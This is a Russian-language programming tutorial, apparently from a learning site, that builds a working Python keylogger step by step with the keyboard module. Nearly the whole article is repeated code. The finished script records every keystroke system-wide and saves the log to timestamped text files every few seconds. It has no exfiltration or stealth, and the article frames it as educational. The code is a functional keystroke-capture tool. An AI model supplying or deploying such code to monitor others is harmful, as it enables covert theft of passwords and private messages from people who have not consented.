Кейлоггер на Python

Кейлоггер на Python Статьи

Введение

В данной статье напишем код кейлоггера на языке программирования Python.

Наша цель — ознакомить Вас с этими типами скриптов в образовательных целях.

Кейлоггер на Python

Для написания кейлоггера нам понадобится модуль keyboard, чтобы считывать нажатия клавиш. Для его установки нужно перейти в терминал, или же командную строку, прописать pip install keyboard, нажать Enter и ждать установки.

После инсталляции модуля keyboard импортируем всё, что нам понадобится для написания кода:

import keyboard
from threading import Timer
from datetime import datetime

Добавим константу SEND_REPORT_EVERY для хранения интервала сохранения в секундах.
Лучше конечно указывать интервал побольше, но в качестве примера укажем 5 секунд:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

Создадим класс Keylogger. В __init__ добавим параметр interval. Добавим переменную interval, переменную log, которая будет хранить логи. В start_dt и end_dt мы будем сохранять начало срабатывания, и окончание соответственно:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

Добавим метод callback() для записи нажатий на клавиши клавиатуры. Внутри него будет условие для проверки специальных клавиш.

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name

        if len(name) > 1:
            # Если мы нажимаем на пробел, который именуется как space, то мы её заменяем на обычный пробел
            if name == "space":
                name = " "
            # Если встречается нажатие на клавишу ENTER, то покажем её в верхнем регистре и выделим скобочками
            elif name == "enter":
                name = "[ENTER]\n"
            # Если встречается нажатие на клавишу delete на NumPad, то покажем её как точку
            elif name == "decimal":
                name = "."

Заменим пробелы спец клавиш символами подчеркивания и добавим имя ключа в лог:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name

        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # Заменим пробелы спец клавиш символами подчеркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        # Добавим имя ключа в лог
        self.log += name

Теперь создадим метод update_filename(), внутри которого будет создаваться название txt файла из даты начала и окончания записи:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name

        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

Далее создадим метод report_to_file(), внутри которого напишем код создания нового txt файла и записи в него нажатий логов:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name

        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # создать файл
        with open(f"{self.filename}.txt", "w") as f:
            # записать лог
            print(self.log, file=f)
        print(f"Сохранение {self.filename}.txt")

Создадим метод report(), предназначенный для сохранения txt файла с логами, если есть что сохранять, а также для запуска метода start(), который мы добавим следующим.

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name

        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)

        print(f"Сохранение {self.filename}.txt")

    def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # обновить `self.filename`
            self.update_filename()
            self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()

И последний метод, который нам нужно создать назовём start(). Внутри данного метода будет сохраняться дата и время запуска и включаться сам кейлоггер:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5


class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name

        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # Заменим пробелы спец клавиш символами подчеркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        # Добавим имя ключа в лог
        self.log += name

    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)

        print(f"Сохранение {self.filename}.txt")

    def report(self):
        if self.log:
            self.end_dt = datetime.now()

            self.update_filename()
            self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True

        timer.start()

    def start(self):
        # Записать дату и время начала
        self.start_dt = datetime.now()

        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()


if __name__ == "__main__":
    # Запустим кейлоггер
    Keylogger(interval=SEND_REPORT_EVERY).start()

Видеоурок

Кейлоггер на Python

Заключение

В ходе статьи мы с Вами написали код кейлоггера, и разобрали как он работает. Надеюсь Вам понравилась статья, желаю удачи и успехов! 🙂

Admin
Admin
IT Start